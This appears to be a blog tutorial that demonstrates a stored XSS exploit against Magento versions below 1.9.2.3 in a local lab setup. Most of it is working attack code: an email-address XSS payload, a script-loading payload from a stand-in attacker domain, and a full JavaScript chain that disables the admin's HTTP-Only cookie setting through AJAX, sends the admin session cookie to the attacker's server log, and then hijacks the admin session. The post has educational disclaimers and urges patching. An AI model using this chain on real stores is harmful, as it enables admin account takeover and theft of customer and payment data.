Let's Exploit Magento! (<1.9.2.3)

Back

Why?

A friend of mine sent me an interesting advisory the other day, demonstrating that there was an XSS exploit for the eCommerce platform Magento. I like security advisories, mainly because it's an interesting challenge and a good way to learn more about the underlying frameworks you're using. Since it was a lot of fun to exploit wordpress, I figure'd I'd try out this XSS exploit. It should go without saying, but don't try this on systems that aren't yours, or you'll be violating the law.

The plan

As pointed out in the interesting advisory, this is a flaw that has to be triggered by an administrator checking on an order. So in our pretend scenario we have two types of exploits going on:

  1. Taking advantage of the vulnerability itself
  2. Convincing the admin to check your order

Both of these are likely to be fairly easy given the nature of Magento. Calling or emailing an adminstrator in reference to your order would get any well-intentioned admin to check it out. And the first is trivially done according to the advisery by using the quoted form of an email address for your client account. So our attack plan is simple:

  1. Setup our server to receive information
  2. Perform exploit and call up our friendly admin
  3. Steal their credentials or perform actions under their name

Setup

First off, we need to download a version of magento that isn't patched, so we can grab any copy of magento that is less than 1.9.2.3 from the downloads page. I had to create an account to download the software, so do that if you need to (use guerrillamail if you need a quick email address to use). Then setup magento. In my case I'll be using apache with the following host setup:

# My New Magento Install! Nothing bad could happen :D 
<VirtualHost *:80>
    Servername local.magento.sec
    ErrorLog /tmp/error.log
    DocumentRoot /path/to/magento
    <Directory /path/to/magento >
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        Order allow,deny
        allow from all
    </Directory>
</VirtualHost>

#My Evil domain that will exploit the poor thing:
<VirtualHost *:80>
    Servername local.evil.sec
    CustomLog /tmp/exploit.log combined
    DocumentRoot /tmp
    <Directory /tmp >
        Order allow,deny
        allow from all
    </Directory>
</VirtualHost>

And then setup your hosts file appropriately:

127.0.0.1 local.magento.sec local.evil.sec

And starting up apache and navigating to your local site should give you the installation screen and you can follow the instructions to setup magento. In my case, I had to update some permissions and install the php5-gd package on my system before being able to run magento. Your mileage may vary. Also, installing magento is slow, the database has over 300 tables in the base install, be patient as you install it.

Once you're setup, you should be able to log in to your admin panel and see that magento wants to update:

Ignoring that, create a product or two and verify that your site is working properly.

Confirming the exploit

Before we do anything complicated, we want to perform a smoke test to make sure that we can trigger the problem ourselves. We'll do the same test that the advisory did and simple alert on the page by using the email "><script>alert(1);</script>"@sucuri.net. When you do this from the checkout page you'll get an error saying you it's not a valid email. However, this is only a front end check that we can trivially avoid by editing the HTML and removing the attributes the JS relys on to validate:

Click through the rest of the steps and place your order.

Then in the admin panel navigate to sales and your orders and verify that the exploit happens:

You'll see the pop-up twice before the page fully loads. Now the real question is what can we do?.

Getting dirty

The first thing that comes to my mind is to attempt to steal the session of the admin user. But a quick look at the cookies of the page will tell us that such a thing won't work since the cookies are HTTP-Only:

So that's seems like a dead end at first, but we can actually change the settings for these cookies from magento! The HTTP-Only setting is configured from the Web section of the System configuration page, and by default is turned on:

So the question becomes, how can we get to this page using our exploit? First off, we'll note that the navigation bar has an id of nav. So that's trivial to get via javascript:

var nav = document.getElementById('nav')

And once we do that it's simple to note that the navigation consists of links like the following:

<li class="  last level1">
    <a href="http://local.magento.sec/index.php/admin/system_config/index/key/d1b178d00a7755670c57af7f3f59bfa3/" class=""><span>Configuration</span></a>
</li>

We can't get much from the link itself, but the internal span tells us everything we need to know. Leveraging this:

var spans = nav.getElementsByTagName('span')
for(i in spans) { 
    if (spans[i].hasOwnProperty('textContent') && spans[i].textContent == "Configuration") { 
        configLink = spans[i].parentElement.href
    } 
}

And now we have the correct link to follow stored in configLink. Since magento uses prototype we can perform AJAX requests for pages pretty easily:

var configPage = document.createElement('span')
configPage.display = 'None';
new Ajax.Updater(configPage, configLink, {method: 'get'})

This will call up the system page which has another link we need. The HTTP Only settings are in the Web settings, so we'll find that link in the new page and then proceed from there:

var spans = configPage.getElementsByTagName('span')
for( var i = 0; i < spans.length; i++) {
    if (spans[i].hasOwnProperty('textContent') && spans[i].textContent.indexOf("Web")!=-1) { 
        webConfigLink = spans[i].parentElement.href
    } 
}
var webPage = document.createElement('span')
webPage.display = 'None'
new Ajax.Updater(webPage, webConfigLink, {method: 'get'})

Once we have this page we're nearly there. We just need to select the correct option for HTTP cookies and then submit the form. This is easy enough to do programmatically since the option has an id:

//Get the select menu:
var select = webPage.getElementsBySelector('[id=web_cookie_cookie_httponly]')[0]

//Set the options to No
for(var o = 0; o < select.options.length; o++) {
    select.options[o].value = 0 //set it to the 'No' value easily
}

//Grab that form
var form = webPage.getElementsByTagName('form')[0]
//Submit it via Ajax using prototype so the admin doesn't know
$(form).request({
    onFailure: function(){}, 
    onSuccess: function(t){
        //wait for it...
    }
})

Now that we've done that the HTTP-Only flag on the cookies is gone, which means that we can steal the admin's session.

To send the session to the hacker we'll use our second virtual host and the oldest trick in the book, the access log! Updating the wait for it part of our form handler code gives us the final step to our hijack:

onSuccess: function(t){
    var logPage = document.createElement('span')
    var evil = 'http://local.evil.sec?' + document.cookie
    logPage.display = 'None'
    new Ajax.Updater(logPage, evil, {method: 'get'})    
}

Once you do this, you'll see the admin cookie appear in the log file of the hackers domain:

Once we've got this, we just do a simple cookie setting and we're good to run wild. First go to the admin page and open up your console. Then set the document to be the value sent in your request:

Refresh the page and you'll have access to the admin console:

Putting it all together

It's easy to write all the above into the console to verify that it works, but it's another thing to actually use the email exploit to run the code. We have two options:

  1. Insert all that code into the email address
  2. Have the email address inject a script to handle things for us

Either way we need to wrap the code into a single package so let's do that:

/** Helpers */
function findLinkInSpan(spans, search) {
    for(i in spans) { 
        if (spans[i].hasOwnProperty('textContent') && spans[i].textContent.trim() == search.trim()) {
            return spans[i].parentElement.href;
        } 
    }
}

/** Wait for the AJAX to stick the data into our target element */
var waitingTime = 3000;

function exploitOrderPage() {
    /** Navigate the menu */
    var nav = document.getElementById('nav');
    var spans = nav.getElementsByTagName('span');
    configLink = findLinkInSpan(spans, "Configuration");

    /** Global for exploitConfigPage to use */
    configPage = document.createElement('span');
    configPage.display = 'None';
    new Ajax.Updater(configPage, configLink, {
            method: 'get', 
            onSuccess: function(){
                setTimeout(function(){
                    exploitConfigPage()
                }, waitingTime); 
            }
        }
    );
}

function exploitConfigPage() {
    var spans = configPage.getElementsByTagName('span');
    var webConfigLink = findLinkInSpan(spans, 'Web');

    /** Global for exploitWebPage to use */
    webPage = document.createElement('span');
    webPage.display = 'None';
    new Ajax.Updater(webPage, webConfigLink, {
            method: 'get', 
            onSuccess: function(){
                setTimeout(function(){
                    exploitWebPage();
                },waitingTime);
            }
        }
    );
}

function exploitWebPage() {
    var select = webPage.getElementsBySelector('[id=web_cookie_cookie_httponly]')[0];
    for(var o = 0; o < select.options.length; o++) {
        select.options[o].value = 0; //set it to the 'No' value easily
    }
    var form = webPage.getElementsByTagName('form')[0]
    //Submit it via Ajax using prototype so the admin doesn't know
    $(form).request({
        onFailure: function(){}, 
        onSuccess: function(t){
            var logPage = document.createElement('span');
            var evil = 'http://local.evil.sec?' + document.cookie;
            logPage.display = 'None';
            new Ajax.Updater(logPage, evil, {method: 'get'});
        }
    })
}

/** On load we want to hide the weird email from the admin and steal! */
var anchors = document.getElementsByTagName('a')
for(var i = 0; i < anchors.length; i++) {
    if(anchors[i] && anchors[i].href == 'mailto:') {
        anchors[i].textContent = 'user@example.com';
    }
}
//GO!
exploitOrderPage();

The code is a little rough because we have a series of callbacks that fire as the pages are loaded into the target divs by prototype. In my testing it seemed like there was enough delay between when the request completed and when variables like configPage were filled with data that a timeout was the only way to ensure that there was data available to iterate over with .getElementsByTagName.

Note that even though we don't have any CORS headers on our evil domain, we don't actually need them to get the credentials in our log file since the preflight request will show up in the log. If you were a real attacker trying to be silent, you'd likely adjust your server accordingly.

So let's try the first tactic, putting all of the code into an email address in the checkout form:

And editing the HTML with the inspector to remove the validation from the element results in

And checking out the magento source it looks like the length calculation is pretty small:

//lib/Zend/Validate/EmailAddress.php
 if ((strlen($this->_localPart) > 64) || (strlen($this->_hostname) > 255)) {
    $length = false;
    $this->_error(self::LENGTH_EXCEEDED);
}

So it seems like the first attempt is out since the full script can't be fit into 64 characters. So instead let's try to load it from our evil domain! We can do this by saving our script to a.js and loading it via a script tag with the malicious email:

"<script src='//local.evil.sec/a.js'></script>"@exploited.net

This comes in at 47 characters, so if you're testing with a longer local domain name then a link shortener would be a good idea. Or if you don't mind whiting out most of the screen you can drop seven characters by removing the closing <script> tag (though that makes the attack more obvious).

Submit your order after filling out the rest of the fields:

Navigating from our admin window to the new order, we'll be greeted with our usual screen, but if we open up the console in a few seconds we'll start to see the effects of the attack:

And in our log files:

Using this value we can then update our cookie from our hackers perspective:

Then simply click in the url and navigate to /admin and you've successfully broken into a magento site using an exploit and session hijacking!

So what now?

Now you go and you update magento so that you don't run into someone pulling this trick on you! The last thing you need is a random user getting access to customer information, saved credit cards, or anything like that! Just browsing through the configuration screen's it's easy to see multiple attack vectors that one could use to install back-doors to the system so that even after they upgrade, the attack can still get in.

Security is important, and I've written this post so that if anyone is using an old version of magento in production they can go to their boss, demonstrate the attack here, and get their blessing to spend as much time as neccesary in patching their system. It's not always fun to upgrade when we could be developing, but doing so keeps the entire internet healthy (you don't want your servers or clients helping out with a DDoS do you?). So get out there and patch!

Obvious Disclaimer

In case it's not obvious This is example code meant for educational purposes only. Do not run this on any machine you do not own! It is a violation of both state and federal law that often carries a hefty fine. Just don't do it.

Other Posts

comments powered by Disqus